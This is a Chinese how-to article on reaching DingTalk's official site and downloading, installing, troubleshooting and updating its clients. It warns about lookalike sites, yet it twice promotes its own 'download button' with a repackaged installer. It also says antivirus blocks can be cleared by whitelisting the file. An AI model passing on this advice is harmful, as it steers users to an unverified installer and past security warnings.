钉钉官网首页怎么进，找下载入口其实挺简单
为什么进官网这件事还值得专门说一下
说出来你可能觉得好笑，下载个钉钉怎么还能搞错。可我身边真有人栽在这上头。前阵子帮一个做行政的朋友装电脑，她说之前自己搜过，结果点进去下了个奇奇怪怪的东西，装完桌面多了一堆推广软件，浏览器主页也被改了。这种事一点都不稀奇，尤其是那种用搜索引擎随手一搜、看哪个排前面就点哪个的人，特别容易中招。
钉钉本身是阿里旗下的办公协作工具，用的人多，盯着它流量做文章的人也就多。有些网站把界面做得跟官网几乎一模一样，蓝白配色、那个标志性的图标，乍一看根本分不出来。所以我一直跟人强调，下载这种被广泛使用的软件，第一步不是急着点，而是先确认你到底落在了哪个页面上。
我自己的习惯是认准网址栏。官方域名是 dingtalk 开头那一串，看清楚拼写有没有被掉包，比如把字母 l 换成数字 1，或者多加个连字符，这都是常见的障眼法。确认对了再往下走，心里踏实。
官网首页长什么样，进去后先看哪儿
打开钉钉官网首页，正常情况下你会看到顶部一条导航，里面有产品、解决方案、客户案例这些栏目，中间一大块是宣传图和那句口号，往下滚还有各种功能介绍。第一次进的人容易被这些花花绿绿的内容带跑，盯着看了半天也没找到下载在哪。
其实下载入口一般就藏在两个地方。一个是页面右上角，那里通常有个比较醒目的按钮，写着立即下载或者下载钉钉之类的字样，颜色跟周围有区别，比较跳。另一个是导航栏里专门有个下载或者免费下载的菜单项，点进去会跳到一个集中展示各端安装包的页面。
我个人更喜欢点导航里那个下载页，因为它把电脑版、手机版、平板版都列在一块，一目了然，省得在首页东找西找。要是嫌官网找入口麻烦，你也可以直接点本页下载按钮，我们这边把安装包整理好了，少绕几个弯。
区分电脑版、手机版和网页版
很多人没搞清楚自己到底该下哪个。钉钉有桌面客户端、手机 App、还有一个不用装东西的网页版，三者用途不太一样。
桌面客户端是给电脑用的，Windows 和 Mac 都有各自的安装包，进了下载页一般会自动识别你的系统，给你推对应的那个。如果它识别错了，比如你明明是苹果电脑却给你推 Windows 版，页面上通常会有切换的选项，自己手动点一下换过去就行。装客户端的好处是功能全，开视频会议、传大文件、多任务切窗口都顺手，公司办公基本都用这个。
手机版就是直接去应用商店搜，安卓在各家手机自带的应用市场里搜钉钉，苹果在 App Store 里搜，这个不太会出错，认准开发者是钉钉对应的公司就好。网页版适合临时用一下的场景，比如你在别人电脑上要查个消息、签个到，不想装软件，扫码登录就能用，用完关掉浏览器也不留东西，挺方便。我出差借酒店电脑的时候就常用网页版。
下载与安装步骤
拿 Windows 电脑客户端举例说一下整个流程。点了下载按钮之后，浏览器会开始下一个安装文件，名字一般带着 dingtalk 字样，后缀是 exe。下载完一般在浏览器右下角或者你设的下载文件夹里能找到。双击它就开始装。
安装界面我建议大家别一路猛点下一步。它会问你装到哪个盘，默认是 C 盘，如果你 C 盘空间紧张，可以改到 D 盘或者别的盘，点那个浏览或者更改路径自己选。还有些版本会附带勾选项，比如要不要创建桌面快捷方式、开机自启动，这些看个人需要，开机自启我一般会留着，因为上班第一件事就是开钉钉，省得自己点。装的过程通常一两分钟，进度条走完点完成就成了。
Mac 那边稍微不一样，下下来的是个 dmg 文件，双击打开会弹出一个窗口，里面有钉钉图标和一个应用程序文件夹的图标，你把钉钉图标拖到那个文件夹里就算装好了，然后在启动台里就能找到。第一次打开 Mac 可能会提示这个软件来自互联网要不要确认，点打开就行，这是系统的安全提示，不用慌。
装完打不开或者下不动怎么办
下载和安装最常碰到的几个毛病，我都遇过，说说怎么处理。第一个是下载速度特别慢甚至下到一半断了。这种多半是网络波动，重新下一次往往就好了。要是反复不行，换个浏览器试试，或者把已经下了一半的残缺文件删掉再来，别接着用那个坏文件装，装出来八成有问题。
第二个是双击安装包没反应，或者弹出说文件已损坏、无法运行。文件损坏基本就是没下完整，重下。要是提示被拦截了，那是你电脑的杀毒软件或者系统自带的防护在多管闲事，把它误判成风险。这时候你可以在拦截提示里选择信任或者允许运行，前提是你确定这个包来源正经。我每次都是先确认了来源，再去防护软件里加个白名单。
第三个常见的是装完打开闪退，或者卡在登录界面转圈。先看你网络通不通，登录要联网。还不行就试试以管理员身份运行，右键那个图标，菜单里有这一项。再不行就干脆卸了重装，卸的时候建议把残留也清掉，重装一遍很多怪问题就消失了。还有个小细节，如果你电脑系统太老，有些较新的客户端可能跑不动，这种情况下要么升级系统，要么用网页版凑合。
更新和重装时要留意的几个点
软件装好不是一劳永逸的。钉钉更新比较勤，新功能、修 bug 都靠更新推。它一般会自己提示有新版本，你点更新就在后台下了，更新完重启一下软件就生效。我建议别老拖着不更，有些功能不更新就用不了，特别是公司开了新的考勤或者审批流程，旧版本可能不兼容。
如果你是换了新电脑要重新装，流程跟第一次一样，重新下载安装。登录的时候用原来的手机号或者账号登进去，之前的聊天记录、加入的组织这些云端存着的东西会同步回来，不用担心丢。不过本地存的文件、聊天里下载过的附件，那是存在老电脑上的，记得提前拷出来或者重新在聊天里下一遍。
还有个容易忽略的地方，卸载重装之前最好确认自己的登录方式还记得。有人图省事卸了之后发现密码忘了、手机号也换了，登不回去，那就麻烦了，得走找回流程。所以重装前先确保账号能正常登录，这是我吃过亏才记住的。平时也别嫌烦，账号绑定的手机号有变动及时去改，省得真有事的时候抓瞎。
给不太熟电脑的人几句实在话
最后给那些对电脑不太在行的朋友说点掏心窝的。下载软件这事，最大的坑不在技术，在于点错地方。你只要守住一条，从可靠的入口拿安装包，剩下的问题都好办。实在不放心自己搜，就点本页下载按钮，我们把包准备好了，下下来照着前面说的步骤装就行。
装的过程里碰到看不懂的弹窗，先别急着点，看清楚上面写的是什么再决定。尤其是那种附带推荐你装别的软件的勾选框，留个心眼，不需要的就把勾去掉。我帮人装机这么多年，发现大部分所谓的电脑变慢、广告满天飞，都是装软件时一路狂点下一步顺手装上了一堆没用的东西。
真要是自己搞不定，别硬扛。找个懂行的帮你远程看一眼，或者直接用手机版先顶上。钉钉手机和电脑数据是通的，手机上把要紧的事先处理了，电脑那边慢慢折腾也来得及。工具是为人服务的，别让它把你绕进去了，找对入口、稳着点装，其实真没那么难。